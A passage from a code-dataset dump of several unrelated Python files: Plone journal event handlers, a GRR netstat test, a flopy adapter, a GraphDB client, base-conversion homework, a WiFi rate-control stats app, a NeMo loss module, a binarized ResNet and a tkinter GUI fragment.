'Object restored'\n\n\ndef document_restored(context, event):\n if event.action == context.restore_transition:\n title = _(u'label_document_restored',\n default=u'Document ${title} restored.',\n mapping={'title': context.title_or_id()})\n\n parent = aq_parent(aq_inner(context))\n journal_entry_factory(context, OBJECT_RESTORED, title)\n journal_entry_factory(parent, OBJECT_RESTORED, title)\n\n return\n\n\n# ----------------------- DOSSIER PARTICIPATION -----------------------\n\nPARTICIPANT_ADDED = 'Participant added'\n\n\ndef participation_created(context, event):\n if IDuringContactMigration.providedBy(getRequest()):\n return\n author = readable_ogds_author(event.participant,\n event.participant.contact)\n roles = role_list_helper(event.participant,\n event.participant.roles)\n\n title = _(u'label_participant_added',\n default=u'Participant added: ${contact} with '\n 'roles ${roles}',\n mapping={'contact': author,\n 'roles': roles}\n )\n\n journal_entry_factory(context, PARTICIPANT_ADDED, title)\n\n\nPARTICIPANT_MODIFIED = 'Participant modified'\n\n\ndef participation_modified(context, event):\n title = _(\n u'label_participant_modified',\n default=u'Participant modified: ${contact}',\n mapping={\n 'contact': readable_ogds_author(\n event.participant,\n event.participant.contact),\n })\n journal_entry_factory(context, PARTICIPANT_MODIFIED, title)\n\n\nPARTICIPANT_REMOVED = 'Participant removed'\n\n\ndef participation_removed(context, event):\n title = _(\n u'label_participant_removed',\n default=u'Participant removed: ${contact}',\n mapping={\n 'contact': readable_ogds_author(\n event.participant,\n event.participant.contact),\n })\n\n journal_entry_factory(context, PARTICIPANT_REMOVED, title)\n\n\n# ----------------------------Verschieben-----------------------------------\n\nOBJECT_MOVED_EVENT = 'Object moved'\n\n\ndef object_moved(context, event):\n # Since IObjectAddedEvent subclasses IObjectMovedEvent this event\n # handler is also called for IObjectAddedEvent but we should not\n # do anything in this case.\n if IObjectAddedEvent.providedBy(event):\n return\n\n # Ignore object removals\n if IObjectRemovedEvent.providedBy(event):\n return\n\n # Skip automatically renamed objects during copy & paste process.\n if ICopyPasteRequestLayer.providedBy(getRequest()):\n return\n\n title = _(u'label_object_moved',\n default=u'Object moved: ${title}',\n mapping={'title': context.title_or_id()}\n )\n\n journal_entry_factory(\n context.aq_inner.aq_parent, OBJECT_MOVED_EVENT, title)\n return\n\n\nOBJECT_WILL_BE_MOVED_EVENT = 'Object cut'\n\n\ndef object_will_be_moved(context, event):\n if IObjectWillBeAddedEvent.providedBy(event):\n return\n\n # Ignore object removals\n if IObjectWillBeRemovedEvent.providedBy(event):\n return\n\n # Skip automatically renamed objects during copy & paste process.\n if ICopyPasteRequestLayer.providedBy(getRequest()):\n return\n\n title = _(u'label_object_cut',\n default=u'Object cut: ${title}',\n mapping={'title': context.title_or_id()}\n )\n\n journal_entry_factory(\n context.aq_inner.aq_parent, OBJECT_WILL_BE_MOVED_EVENT, title)\n return\n\n# ----------------------- ZIP EXPORTS -----------------------\n\n\nDOSSIER_EXPORTED = 'Dossier included in a zip export'\n\n\ndef dossier_zipped(context, event):\n title = _(u'label_dossier_zipped',\n default=u'Dossier included in a zip export: ${title}',\n mapping={'title': context.title_or_id()})\n\n journal_entry_factory(context, DOSSIER_EXPORTED, title)\n\n return\n\n\nDOCUMENT_EXPORTED = 'Document exported in zip export'\n\n\ndef document_zipped(context, event):\n title = _(u'label_document_zipped',\n default=u'Document included in a zip export: ${title}',\n mapping={'title': context.title_or_id()})\n\n journal_entry_factory(context, DOCUMENT_EXPORTED, title)\n\n return\n\n# ----------------------- OFFICECONNECTOR -----------------------\n\n\nDOCUMENT_ATTACHED = 'Document attached to email via OfficeConnector'\nDOCUMENT_IN_DOSSIER_ATTACHED = 'Document in dossier attached to email '\\\n 'via OfficeConnector'\n\n\ndef document_attached_to_email(context, event):\n \"\"\"Journal OfficeConnector email attach events from the plone.rest\n OfficeConnector action payload service in the site root context.\n\n The document in question is passed into the ObjectEvent.\n \"\"\"\n document = event.object\n\n doc_journal = _(u'label_document_attached',\n default=u'Document attached to email via OfficeConnector')\n journal_entry_factory(document, DOCUMENT_ATTACHED, doc_journal)\n\n return\n\n\ndef dossier_attached_to_email(context, event):\n dossier_journal = _(u'label_document_in_dossier_attached',\n default=u'Document in dossier attached to email '\n u'via OfficeConnector')\n\n journal_entry_factory(\n event.object, DOCUMENT_IN_DOSSIER_ATTACHED, dossier_journal,\n visible=True, documents=event.documents)\n\n return\n","sub_path":"opengever/journal/handlers.py","file_name":"handlers.py","file_ext":"py","file_size_in_byte":23958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"125028738","text":"#!/usr/bin/env python\n\"\"\"End to end tests for lib.flows.general.network.\"\"\"\n\n\nimport logging\nfrom grr.lib import aff4\nfrom grr.lib.flows.console.client_tests import base\n\n\nclass TestNetstat(base.ClientTestBase):\n \"\"\"Test Netstat.\"\"\"\n platforms = [\"linux\", \"windows\", \"darwin\"]\n\n flow = \"Netstat\"\n\n def setUp(self):\n super(TestNetstat, self).setUp()\n self.network_urn = self.client_id.Add(\"network\")\n self.DeleteUrn(self.network_urn)\n\n self.assertRaises(AssertionError, self.CheckFlow)\n\n def CheckFlow(self):\n netstat = aff4.FACTORY.Open(self.network_urn, mode=\"r\", token=self.token)\n self.assertIsInstance(netstat, aff4.Network)\n connections = netstat.Get(netstat.Schema.CONNECTIONS)\n self.assertGreater(len(connections), 5)\n # There should be at least two local IPs.\n num_ips = set([k.local_address.ip for k in connections])\n self.assertGreater(len(num_ips), 1)\n # There should be at least two different connection states.\n num_states = set([k.state for k in connections])\n # This is a known issue on CentOS so we just warn about it.\n if len(num_states) <= 1:\n logging.warning(\"Only received one distinct connection state!\")\n\n\n","sub_path":"lib/flows/console/client_tests/network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":1183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"387215063","text":"import flopy.modflow as mf\n\n\nclass LmtAdapter:\n _data = None\n\n def __init__(self, data):\n self._data = data\n\n def validate(self):\n # should be implemented\n # for key in content:\n # do something\n # return some hints\n pass\n\n def is_valid(self):\n # should be implemented\n # for key in content:\n # do something\n # return true or false\n return True\n\n def merge(self):\n default = self.default()\n for key in self._data:\n default[key] = self._data[key]\n return default\n\n def get_package(self, _mf):\n content = self.merge()\n return mf.ModflowLmt(\n _mf,\n **content\n )\n\n @staticmethod\n def default():\n default = {\n \"output_file_name\": 'mt3d_link.ftl',\n \"output_file_unit\": 54,\n \"output_file_header\": 'extended',\n \"output_file_format\": 'unformatted',\n \"extension\": 'lmt6',\n \"package_flows\": [],\n \"unitnumber\": None,\n \"filenames\": None\n }\n\n return default\n\n @staticmethod\n def read_package(package):\n content = {\n \"output_file_name\": package.output_file_name,\n \"output_file_unit\": package.output_file_unit,\n \"output_file_header\": package.output_file_header,\n \"output_file_format\": package.output_file_format,\n \"extension\": package.extension[0],\n \"package_flows\": package.package_flows,\n \"unitnumber\": package.unit_number[0],\n # \"filenames\": None\n }\n return content\n","sub_path":"FlopyAdapter/MfPackages/LmtAdapter.py","file_name":"LmtAdapter.py","file_ext":"py","file_size_in_byte":1660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"328354865","text":"from s4api.graphdb_api import GraphDBApi\nfrom s4api.swagger import ApiClient\nimport json\n\n\nclass GraphDB:\n connection = False;\n\n def __init__(self, endpoint, repo_name):\n self.endpoint = endpoint\n self.repo_name = repo_name\n self.startConnection()\n\n # Start graphDB connection\n def startConnection(self):\n if not self.connection:\n self.client = ApiClient(endpoint=self.endpoint)\n self.accessor = GraphDBApi(self.client)\n self.connection = True\n\n # Get query results\n def getResults(self, query):\n payload_query = {\"query\": query}\n res = self.accessor.sparql_select(body=payload_query, repo_name=self.repo_name)\n res = json.loads(res)\n return res['results']['bindings']\n\n # Add query / update\n def add(self, update):\n payload_query = {\"update\": update}\n res = self.accessor.sparql_update(body=payload_query, repo_name=self.repo_name)\n return True\n\n\n\n","sub_path":"netflix_titles/app/graphDBConnection.py","file_name":"graphDBConnection.py","file_ext":"py","file_size_in_byte":983,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"620214010","text":"# CS5 Gold, hw4pr1\n# Filename: hw4pr1.py\n# Name: Qing Yang\n# Problem description: Binary <-> decimal conversions\n\ndef isOdd(n):\n \"\"\"\n accepts a single argument, an integer n, and returns True if n is odd and False if n is even.\n \"\"\"\n return n % 2 != 0\n # if n % 2 == 0:\n # return False\n # else:\n # return True\n\nassert isOdd(42) == False\nassert isOdd(43) == True\n# assert not isOdd(42)\n# assert isOdd(43)\n\ndef numToBinary(N):\n \"\"\"\n convert numbers to binary\n takes in a decimal number\n returns a binary string\n \"\"\"\n if N == 0:\n return ''\n elif N % 2 == 1:\n return numToBinary(N//2) + '1'\n else:\n return numToBinary(N//2) + '0'\n\nassert numToBinary(0) == ''\nassert numToBinary(42) == '101010'\n\ndef binaryToNum(S):\n \"\"\"\n convert binary to numbers\n \"\"\"\n if S == '':\n return 0\n # if the last digit is a '1'\n elif S[-1] == '1':\n return binaryToNum(S[:-1])*2 + 1\n else: # last digit must be '0'\n return binaryToNum(S[:-1])*2 + 0\n\nassert binaryToNum('') == 0\nassert binaryToNum('101010') == 42\nassert binaryToNum(\"0\") == 0\n\n\ndef increment(S):\n \"\"\"\n accepts an 8-character string S of 0's and 1's and returns the next largest number in base 2.\n \"\"\"\n if S == '11111111':\n return '00000000'\n else:\n y = numToBinary(binaryToNum(S) + 1)\n return (8-len(y))*'0' + y\n\nassert increment('00000000') == '00000001'\nassert increment('00000001') == '00000010'\nassert increment('00000111') == '00001000'\nassert increment('11111111') == '00000000'\n\ndef count(S,n):\n \"\"\"\n accepts an 8-character binary input string and then begins counts n times upward from S, printing as it goes.\n \"\"\"\n print (S)\n if n == 0:\n return \n else:\n return count(increment(S),n-1)\n\n# assert count(\"00000000\", 4) == \n# 00000000\n# 00000001\n# 00000010\n# 00000011\n# 00000100\n# assert count(\"11111110\", 5) ==\n# 11111110\n# 11111111\n# 00000000\n# 00000001\n# 00000010\n# 00000011\n\n\"\"\"\n The ternary representation for 59 is: 2*27 + 0*9 + 1*3 + 2*1.\n Becasue 59%3 = 2, so the last term is 2*1. (59-2)//3 = 19.\n 19%3 is 1, so the second last item is 1*3. (19-1)//3 = 6. 6%3 = 0,\n so the third last item is 0*9. 6//3 = 2. 2%3 = 2, so the first item\n is 2*27.\n\"\"\"\n\ndef numToTernary(N):\n \"\"\"\n returns a ternary string representing the value of the argument N (just as numToBinary does).\n \"\"\"\n if N == 0:\n return ''\n elif N % 3 == 1:\n return numToTernary(N//3) + '1'\n elif N % 3 == 2:\n return numToTernary(N//3) + '2'\n else:\n return numToTernary(N//3) + '0'\n\ndef ternaryToNum(S):\n \"\"\"\n returns the value equivalent to the argument string S, when S is interpreted in ternary.\n \"\"\"\n if S == '':\n return 0\n elif S[-1] == '1':\n return ternaryToNum(S[:-1])*3 + 1\n elif S[-1] == '2':\n return ternaryToNum(S[:-1])*3 + 2\n else: \n return ternaryToNum(S[:-1])*3 + 0\n\nassert numToTernary(42) == '1120'\nassert numToTernary(4242) == '12211010'\nassert ternaryToNum('1120') == 42\nassert ternaryToNum('12211010') == 4242\n\ndef balancedTernaryToNum(S):\n \"\"\"\n + represents +1, 0 is 0, and - represents -1. For example, +0-+ can be evaluated, from right to left,\n as +1 in the ones column, -1 in the threes column, 0 in the nines column, and +1 in the twenty-sevens\n column, for a total value of 1*1—1*3 + 0*9 + 1*27 == 25.\n balancedTernaryToNum(S), which should return the decimal value equivalent to the balanced ternary string S.\n \"\"\"\n if S == '':\n return 0\n elif S[-1] == '+':\n return balancedTernaryToNum(S[:-1])*3 + 1\n elif S[-1] == '-':\n return balancedTernaryToNum(S[:-1])*3 - 1\n else: \n return balancedTernaryToNum(S[:-1])*3 + 0\n\ndef numToBalancedTernary(N):\n \"\"\"\n numToBalancedTernary(N), which should return a balanced ternary string representing the value of the argument N.\n \"\"\"\n if N == 0:\n return ''\n elif N % 3 == 1:\n return numToBalancedTernary(N//3) + '+'\n elif N % 3 == 2:\n return numToBalancedTernary((N+1)//3) + '-'\n else:\n return numToBalancedTernary(N//3) + '0'\n\nassert balancedTernaryToNum('+---0') == 42\nassert balancedTernaryToNum('++-0+') == 100\nassert numToBalancedTernary(42) == '+---0'\nassert numToBalancedTernary(100) == '++-0+'\n\n","sub_path":"CS5/hw4/hw4pr1.py","file_name":"hw4pr1.py","file_ext":"py","file_size_in_byte":4441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"630902106","text":"#!/usr/bin/env python3\n#\n# Copyright (c) 2019 Roberto Riggio\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n\n\"\"\"WiFi Rate Control Statistics Primitive.\"\"\"\n\nfrom datetime import datetime\n\nfrom construct import Struct, Int8ub, Int16ub, Int32ub, Bytes, Array\nfrom construct import Container\n\nimport empower.managers.ranmanager.lvapp as lvapp\n\nfrom empower_core.etheraddress import EtherAddress\nfrom empower.managers.ranmanager.lvapp.wifiapp import EWiFiApp\nfrom empower_core.app import EVERY\n\n\nPT_WIFI_RC_STATS_REQUEST = 0x80\nPT_WIFI_RC_STATS_RESPONSE = 0x81\n\nWIFI_RC_STATS_REQUEST = Struct(\n \"version\" / Int8ub,\n \"type\" / Int8ub,\n \"length\" / Int32ub,\n \"seq\" / Int32ub,\n \"xid\" / Int32ub,\n \"device\" / Bytes(6),\n \"sta\" / Bytes(6),\n)\nWIFI_RC_STATS_REQUEST.name = \"wifi_rc_stats_request\"\n\nRC_ENTRY = Struct(\n \"rate\" / Int8ub,\n \"prob\" / Int32ub,\n \"cur_prob\" / Int32ub,\n \"cur_tp\" / Int32ub,\n \"last_attempts\" / Int32ub,\n \"last_successes\" / Int32ub,\n \"hist_attempts\" / Int32ub,\n \"hist_successes\" / Int32ub\n)\nRC_ENTRY.name = \"rc_entry\"\n\nWIFI_RC_STATS_RESPONSE = Struct(\n \"version\" / Int8ub,\n \"type\" / Int8ub,\n \"length\" / Int32ub,\n \"seq\" / Int32ub,\n \"xid\" / Int32ub,\n \"device\" / Bytes(6),\n \"iface_id\" / Int32ub,\n \"sta\" / Bytes(6),\n \"nb_entries\" / Int16ub,\n \"stats\" / Array(lambda ctx: ctx.nb_entries, RC_ENTRY),\n)\nWIFI_RC_STATS_RESPONSE.name = \"wifi_rc_stats_response\"\n\n\nclass RCStats(EWiFiApp):\n \"\"\"WiFi Rate Control Statistics Primitive.\n\n This primitive collects the RC statistics from the specified LVAP.\n\n Parameters:\n sta: the LVAP to track as an EtherAddress (mandatory)\n every: the loop period in ms (optional, default 2000ms)\n\n Example:\n POST /api/v1/projects/52313ecb-9d00-4b7d-b873-b55d3d9ada26/apps\n {\n \"name\": \"empower.apps.wifircstats.wifircstats\",\n \"params\": {\n \"sta\": \"11:22:33:44:55:66\",\n \"every\": 2000\n }\n }\n \"\"\"\n\n def __init__(self, context, service_id, sta, every=EVERY):\n\n super().__init__(context=context,\n service_id=service_id,\n sta=sta,\n every=every)\n\n # Register messages\n lvapp.register_message(PT_WIFI_RC_STATS_REQUEST,\n WIFI_RC_STATS_REQUEST)\n lvapp.register_message(PT_WIFI_RC_STATS_RESPONSE,\n WIFI_RC_STATS_RESPONSE)\n\n # Data structures\n self.rates = {}\n self.best_prob = None\n self.best_tp = None\n\n def __eq__(self, other):\n if isinstance(other, RCStats):\n return self.sta == other.sta and self.every == other.every\n return False\n\n @property\n def sta(self):\n \"\"\" Return the station address. \"\"\"\n\n return self.params['sta']\n\n @sta.setter\n def sta(self, sta):\n \"\"\" Set the station address. \"\"\"\n\n self.params['sta'] = EtherAddress(sta)\n\n def to_dict(self):\n \"\"\"Return JSON-serializable representation of the object.\"\"\"\n\n out = super().to_dict()\n\n out['sta'] = self.sta\n out['rates'] = self.rates\n out['best_prob'] = self.best_prob\n out['best_tp'] = self.best_tp\n\n return out\n\n def loop(self):\n \"\"\"Send out requests\"\"\"\n\n if self.sta not in self.context.lvaps:\n return\n\n lvap = self.context.lvaps[self.sta]\n\n msg = Container(length=WIFI_RC_STATS_REQUEST.sizeof(),\n sta=lvap.addr.to_raw())\n\n lvap.wtp.connection.send_message(PT_WIFI_RC_STATS_REQUEST,\n msg,\n self.handle_response)\n\n def handle_response(self, response, *_):\n \"\"\"Handle WIFI_RC_STATS_RESPONSE message.\"\"\"\n\n lvap = self.context.lvaps[self.sta]\n\n # update this object\n self.rates = {}\n self.best_prob = None\n self.best_tp = None\n\n # generate data points\n points = []\n timestamp = datetime.utcnow()\n\n for entry in response.stats:\n\n rate = entry.rate if lvap.ht_caps else entry.rate / 2.0\n\n fields = {\n 'prob': entry.prob / 180.0,\n 'cur_prob': entry.cur_prob / 180.0,\n 'cur_tp': entry.cur_tp / ((18000 << 10) / 96) / 10,\n 'last_attempts': entry.last_attempts,\n 'last_successes': entry.last_successes,\n 'hist_attempts': entry.hist_attempts,\n 'hist_successes': entry.hist_successes,\n }\n\n tags = dict(self.params)\n tags[\"rate\"] = rate\n\n self.rates[rate] = fields\n\n sample = {\n \"measurement\": self.name,\n \"tags\": tags,\n \"time\": timestamp,\n \"fields\": fields\n }\n\n points.append(sample)\n\n # compute statistics\n self.best_prob = \\\n max(self.rates.keys(), key=(lambda key: self.rates[key]['prob']))\n\n self.best_tp = \\\n max(self.rates.keys(), key=(lambda key: self.rates[key]['cur_tp']))\n\n # save to db\n self.write_points(points)\n\n # handle callbacks\n self.handle_callbacks()\n\n\ndef launch(context, service_id, sta, every=EVERY):\n \"\"\" Initialize the module. \"\"\"\n\n return RCStats(context=context, service_id=service_id, sta=sta,\n every=every)\n","sub_path":"empower/apps/wifircstats/wifircstats.py","file_name":"wifircstats.py","file_ext":"py","file_size_in_byte":5987,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"257672179","text":"# =============================================================================\n# Copyright 2020 NVIDIA. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# =============================================================================\n\nimport torch\nfrom torch import nn\n\nfrom nemo.backends.pytorch import LossNM\nfrom nemo.core import ChannelType, LogitsType, LossType, NeuralType\n\n__all__ = ['JointIntentSlotLoss']\n\n\nclass JointIntentSlotLoss(LossNM):\n \"\"\"\n Loss function for the joint intent classification and slot\n filling task.\n\n The loss is a joint loss of both tasks, aim to maximize:\n p(y^i | x)P(y^s1, y^s2, ..., y^sn | x)\n\n with y^i being the predicted intent and y^s1, y^s2, ..., y^sn\n are the predicted slots corresponding to x1, x2, ..., xn.\n\n Args:\n hidden_states: output of the hidden layers\n intents: ground truth intents,\n slots: ground truth slots.\n input_mask: to differentiate from original tokens and paddings\n intent_loss_weight: the loss is the sum of:\n intent_loss_weight * intent_loss +\n (1 - intent_loss_weight) * slot_loss\n\n \"\"\"\n\n @property\n def input_ports(self):\n \"\"\"Returns definitions of module input ports.\n\n \"\"\"\n return {\n # \"intent_logits\": NeuralType({0: AxisType(BatchTag), 1: AxisType(ChannelTag)}),\n # \"slot_logits\": NeuralType({0: AxisType(BatchTag), 1: AxisType(TimeTag), 2: AxisType(ChannelTag)}),\n # \"loss_mask\": NeuralType({0: AxisType(BatchTag), 1: AxisType(TimeTag)}),\n # \"intents\": NeuralType({0: AxisType(BatchTag)}),\n # \"slots\": NeuralType({0: AxisType(BatchTag), 1: AxisType(TimeTag)}),\n \"intent_logits\": NeuralType(('B', 'D'), LogitsType()),\n \"slot_logits\": NeuralType(('B', 'T', 'D'), LogitsType()),\n \"loss_mask\": NeuralType(('B', 'T'), ChannelType()),\n \"intents\": NeuralType(tuple('B'), ChannelType()),\n \"slots\": NeuralType(('B', 'T'), ChannelType()),\n }\n\n @property\n def output_ports(self):\n \"\"\"Returns definitions of module output ports.\n\n loss:\n NeuralType(None)\n \"\"\"\n # return {\"loss\": NeuralType(None)}\n return {\"loss\": NeuralType(elements_type=LossType())}\n\n def __init__(\n self, num_slots, slot_classes_loss_weights=None, intent_classes_loss_weights=None, intent_loss_weight=0.6,\n ):\n LossNM.__init__(self)\n self.num_slots = num_slots\n self.intent_loss_weight = intent_loss_weight\n self.slot_classes_loss_weights = slot_classes_loss_weights\n self.intent_classes_loss_weights = intent_classes_loss_weights\n\n # For weighted loss to tackle class imbalance\n if slot_classes_loss_weights:\n self.slot_classes_loss_weights = torch.FloatTensor(slot_classes_loss_weights).to(self._device)\n\n if intent_classes_loss_weights:\n self.intent_classes_loss_weights = torch.FloatTensor(intent_classes_loss_weights).to(self._device)\n\n self._criterion_intent = nn.CrossEntropyLoss(weight=self.intent_classes_loss_weights)\n self._criterion_slot = nn.CrossEntropyLoss(weight=self.slot_classes_loss_weights)\n\n def _loss_function(self, intent_logits, slot_logits, loss_mask, intents, slots):\n intent_loss = self._criterion_intent(intent_logits, intents)\n\n active_loss = loss_mask.view(-1) > 0.5\n active_logits = slot_logits.view(-1, self.num_slots)[active_loss]\n active_labels = slots.view(-1)[active_loss]\n\n # To support empty active_labels\n if len(active_labels) == 0:\n slot_loss = 0.0\n else:\n slot_loss = self._criterion_slot(active_logits, active_labels)\n loss = intent_loss * self.intent_loss_weight + slot_loss * (1 - self.intent_loss_weight)\n\n return loss\n","sub_path":"nemo/collections/nlp/nm/losses/joint_intent_slot_loss.py","file_name":"joint_intent_slot_loss.py","file_ext":"py","file_size_in_byte":4387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"220864207","text":"'''Pre-activation ResNet in PyTorch.\nReference:\n[1] Kaiming He, Xiangyu Zhang, Shaoqing Ren, Jian Sun\n Identity Mappings in Deep Residual Networks. arXiv:1603.05027\n'''\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n'''\nCode from: https://github.com/legolas123/cv-tricks.com/blob/master/xnornet_plusplus/models/resnet_preact_bin.py\n'''\nclass BinActive(torch.autograd.Function):\n '''\n Binarize the input activations and calculate the mean across channel dimension.\n '''\n @staticmethod\n def forward(self, input):\n self.save_for_backward(input)\n size = input.size()\n output = input.sign()\n return output\n @staticmethod\n def backward(self, grad_output):\n input, = self.saved_tensors\n grad_input = grad_output.clone()\n grad_input[input.gt(1)] = 0 ###TODO\n grad_input[input.lt(-1)] = 0\n return grad_input\n\nbinactive = BinActive.apply\nclass BinConv2d(nn.Module):\n def __init__(self, input_channels, output_channels,\n kernel_size=-1, stride=1, padding=0, groups=1, bias = False, dilation = 1, output_height=0, output_width=0):\n super(BinConv2d, self).__init__()\n self.conv = nn.Conv2d(input_channels, output_channels, kernel_size=kernel_size, stride=stride, padding=padding, groups=groups, bias=bias, dilation=dilation)\n self.alpha = nn.Parameter(torch.ones(output_height).reshape(1,-1,1))\n self.beta = nn.Parameter(torch.ones(output_width).reshape(1,1,-1))\n self.gamma = nn.Parameter(torch.ones(output_channels).reshape(-1,1,1))\n def forward(self,x):\n x = binactive(x)\n x = self.conv(x)\n return x.mul(self.gamma).mul(self.beta).mul(self.alpha)\n\ndef conv3x3(in_planes, out_planes, stride=1, groups=1, dilation=1, binarize = False, output_height=0, output_width=0):\n \"\"\"3x3 convolution with padding\"\"\"\n if binarize:\n return BinConv2d(in_planes, out_planes, kernel_size=3, stride=stride,\n padding=dilation, groups=groups, bias=False, dilation=dilation, output_height=output_height, output_width=output_width)\n else:\n return nn.Conv2d(in_planes, out_planes, kernel_size=3, stride=stride,\n padding=dilation, groups=groups, bias=False, dilation=dilation)\n\n\ndef conv1x1(in_planes, out_planes, stride=1, binarize = False, output_height=0, output_width=0):\n \"\"\"1x1 convolution\"\"\"\n if binarize:\n return BinConv2d(in_planes, out_planes, kernel_size=1, stride=stride, bias=False, output_height=output_height, output_width=output_width)\n else:\n return nn.Conv2d(in_planes, out_planes, kernel_size=1, stride=stride, bias=False)\n\n\nclass PreActBlock(nn.Module):\n '''Pre-activation version of the BasicBlock.'''\n expansion = 1\n\n def __init__(self, in_planes, planes, stride=1, output_height=0, output_width=0):\n super(PreActBlock, self).__init__()\n self.bn1 = nn.BatchNorm2d(in_planes)\n self.conv1 = conv3x3(in_planes, planes, stride, output_height=output_height, \n output_width=output_width, binarize=True)\n self.bn2 = nn.BatchNorm2d(planes)\n self.conv2 = conv3x3(planes, planes, output_height=output_height, \n output_width=output_width, binarize=True)\n\n if stride != 1 or in_planes != self.expansion*planes:\n self.shortcut = nn.Sequential(\n conv1x1(in_planes, self.expansion*planes, stride, output_height=output_height, \n output_width=output_width, binarize=True)\n )\n\n def forward(self, x):\n out = F.relu(self.bn1(x))\n shortcut = self.shortcut(out) if hasattr(self, 'shortcut') else x\n out = self.conv1(out)\n out = self.conv2(F.relu(self.bn2(out)))\n out += shortcut\n return out\n\n\n# class PreActBottleneck(nn.Module):\n# '''Pre-activation version of the original Bottleneck module.'''\n# expansion = 4\n\n# def __init__(self, in_planes, planes, stride=1):\n# super(PreActBottleneck, self).__init__()\n# self.bn1 = nn.BatchNorm2d(in_planes)\n# self.conv1 = nn.Conv2d(in_planes, planes, kernel_size=1, bias=False)\n# self.bn2 = nn.BatchNorm2d(planes)\n# self.conv2 = nn.Conv2d(planes, planes, kernel_size=3, stride=stride, padding=1, bias=False)\n# self.bn3 = nn.BatchNorm2d(planes)\n# self.conv3 = nn.Conv2d(planes, self.expansion*planes, kernel_size=1, bias=False)\n\n# if stride != 1 or in_planes != self.expansion*planes:\n# self.shortcut = nn.Sequential(\n# nn.Conv2d(in_planes, self.expansion*planes, kernel_size=1, stride=stride, bias=False)\n# )\n\n# def forward(self, x):\n# out = F.relu(self.bn1(x))\n# shortcut = self.shortcut(out) if hasattr(self, 'shortcut') else x\n# out = self.conv1(out)\n# out = self.conv2(F.relu(self.bn2(out)))\n# out = self.conv3(F.relu(self.bn3(out)))\n# out += shortcut\n# return out\n\n\nclass PreActResNet(nn.Module):\n def __init__(self, block, num_blocks, num_classes=10):\n super(PreActResNet, self).__init__()\n self.in_planes = 64\n\n self.conv1 = nn.Conv2d(3, 64, kernel_size=3, stride=1, padding=1, bias=False)\n self.layer1 = self._make_layer(block, 64, num_blocks[0], stride=1, output_height=32, output_width=32)\n self.layer2 = self._make_layer(block, 128, num_blocks[1], stride=2, output_height=16, output_width=16)\n self.layer3 = self._make_layer(block, 256, num_blocks[2], stride=2, output_height=8, output_width=8)\n self.layer4 = self._make_layer(block, 512, num_blocks[3], stride=2, output_height=4, output_width=4)\n self.linear = nn.Linear(512*block.expansion, num_classes)\n\n def _make_layer(self, block, planes, num_blocks, stride, output_height=0, output_width=0):\n strides = [stride] + [1]*(num_blocks-1)\n layers = []\n for stride in strides:\n layers.append(block(self.in_planes, planes, stride, output_height, output_width))\n self.in_planes = planes * block.expansion\n return nn.Sequential(*layers)\n\n def forward(self, x):\n out = self.conv1(x)\n out = self.layer1(out)\n out = self.layer2(out)\n out = self.layer3(out)\n out = self.layer4(out)\n out = F.avg_pool2d(out, 4)\n out = out.view(out.size(0), -1)\n out = self.linear(out)\n return out\n\n\ndef PreActResNet18():\n return PreActResNet(PreActBlock, [2,2,2,2])\n\n# def PreActResNet34():\n# return PreActResNet(PreActBlock, [3,4,6,3])\n\n# def PreActResNet50():\n# return PreActResNet(PreActBottleneck, [3,4,6,3])\n\n# def PreActResNet101():\n# return PreActResNet(PreActBottleneck, [3,4,23,3])\n\n# def PreActResNet152():\n# return PreActResNet(PreActBottleneck, [3,8,36,3])\n\n\ndef test():\n net = PreActResNet18()\n y = net((torch.randn(1,3,32,32)))\n print(y.size())\n\n# test()","sub_path":"CIFAR_10/models/resnet_preact.py","file_name":"resnet_preact.py","file_ext":"py","file_size_in_byte":7008,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"438057872","text":"import threading\nimport tkinter as tk\n\n\nclass VAGui(threading.Thread):\n\n def __init__(self):\n threading.Thread.__init__(self)\n self.start()\n\n def callback(self):\n self.root.quit()\n\n def run(self):\n self.root = tk.Tk()\n self.root.protocol(\"WM_DELETE_WINDOW\", self.callback)\n self.root.geometry(\"-300+300\")\n\n # self.root.wm_attributes(\"-disabled\", True)\n self.root.wm_attributes(\"-transparentcolor\", \"gray\")\n self.root.attributes(\"-topmost\", True)\n\n head = 'Historical-Cowgirl-icon'\n self.root.image = tk.PhotoImage(file=''.join(['static/img/', head, '.png']))\n self.label = tk.Label(self.root, image=self.root.image, bg='gray')\n vsb = tk.Scrollbar()\n\n self.text_box = tk.Text(width=30, height=9, yscrollcommand=vsb.set, wrap=\"word\", font=\"{Tahoma} 9\")\n\n self.text_box.tag_configure(\"voice_in\", background=\"#E3FFBE\")\n self.text_box.tag_configure(\"voice_out\", background=\"#FDFFBE\")\n\n self.label.pack()\n # self.vsb.pack(side=\"right\", fill=\"y\")\n self.text_box.pack(side=\"left\", fill=\"both\", expand=True)\n vsb.pack(side='right', fill='y')\n\n self.root.mainloop()\n\n def dress_up_as(self, dress):\n self.root.image = tk.PhotoImage(file=''.join(['static/img/', dress, '.png']))\n 